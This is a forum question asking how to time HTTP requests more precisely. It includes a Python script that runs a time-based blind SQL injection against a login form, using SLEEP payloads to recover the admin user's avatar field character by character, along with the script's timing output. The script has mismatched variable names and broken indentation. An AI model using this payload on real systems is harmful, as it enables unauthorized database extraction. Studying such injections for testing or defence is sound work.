How to be more precise calculation elapsed time using python request?

Question

I'm trying to simulate a SQLMap exploting a SQL injection Time Based.

resultado = ""
listaCaracteres = string.ascii_letters + string.digits + "._-@/"
delay = 5
tamanhoCampo = 30

for i in range(1,tamanhoCampo+1):
  caracterFound = False
  for char in listaCaracters: 
   data = {
          "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',SLEEP({delay}),1)#", 
            "password": "teste"
        }
                     
        startTime = time.time()
        try:
            # print(f"[+] Iniciando Requisição - posição {i} caracter {caracter}")
            resp  = requests.post(url, headers=headers, cookies=cookies, data=data)
        except Exceptions as e:
            print(e)

        endTime = time.time()
        
        tempoTotal = endTime - startTime
        print(f"[*] Pos. {i} {caracter} {tempoTotal}")
        if tempoTotal >= delay:
            print(f"[+] Caracter encontrado {caracter} {tempoTotal}")
            resultado += caracter
            caracterEncontrado = True
            delay = 5
            break
    
    if not caracterEncontrado:
        delay += 1
        print(f"[*] Caracter não encontrado, aumentando o tempo de resposta para {delay} segundos")
        

print(resultado)

Debugging the results

[*] Iniciando o DUMP.                                                                                                                                                  
[*] Pos. 1 a 0.41757917404174805                                                                                                                                       
[*] Pos. 1 b 0.42841196060180664                                                                                                                                       
[*] Pos. 1 c 0.42807817459106445                                                                                                                                       
[*] Pos. 1 d 1.420304536819458                                                                                                                                         
[*] Pos. 1 e 0.4183344841003418                                                                                                                                        
[*] Pos. 1 f 0.4205491542816162                                                                                                                                        
[*] Pos. 1 g 0.41797685623168945                                                                                                                                       
[*] Pos. 1 h 0.41671323776245117                                                                                                                                       
[*] Pos. 1 i 0.41751718521118164                                                                                                                                       
[*] Pos. 1 j 0.4145169258117676                                                                                                                                        
[*] Pos. 1 k 0.4157712459564209                                                                                                                                        
[*] Pos. 1 l 0.4163017272949219                                                                                                                                        
[*] Pos. 1 m 0.41348886489868164                                                                                                                                       
[*] Pos. 1 n 0.4273350238800049                                                                                                                                        
[*] Pos. 1 o 0.42464113235473633                                                                                                                                       
[*] Pos. 1 p 0.4265732765197754                                                                                                                                        
[*] Pos. 1 q 0.4321424961090088                                                                                                                                        
[*] Pos. 1 r 0.4281890392303467                                                                                                                                        
[*] Pos. 1 s 0.41872739791870117                                                                                                                                       
[*] Pos. 1 t 0.41807007789611816                                                                                                                                       
[*] Pos. 1 u 4.920653581619263                                                                                                                                         
[*] Pos. 1 v 0.41268229484558105                                                                                                                                       
[*] Pos. 1 w 0.47426342964172363                                                                                                                                       
[*] Pos. 1 x 0.4102909564971924                                                                                                                                        
[*] Pos. 1 y 0.41750526428222656                                                                                                                                       
[*] Pos. 1 z 0.41268014907836914                                                                                                                                       
[*] Pos. 1 A 0.412386417388916                                                                                                                                         
[*] Pos. 1 B 0.4086577892303467                                                                                                                                        
[*] Pos. 1 C 0.41196632385253906   

Pos.1 letter u gives almost 5 seconds, actually 4.9 that's exatcly the first character in avatar field what I'm looking for, each script executation give me 4.9 or more than 5 secs, sometimes this goes into the first condition and not!

So, how to be more accurate calculate this?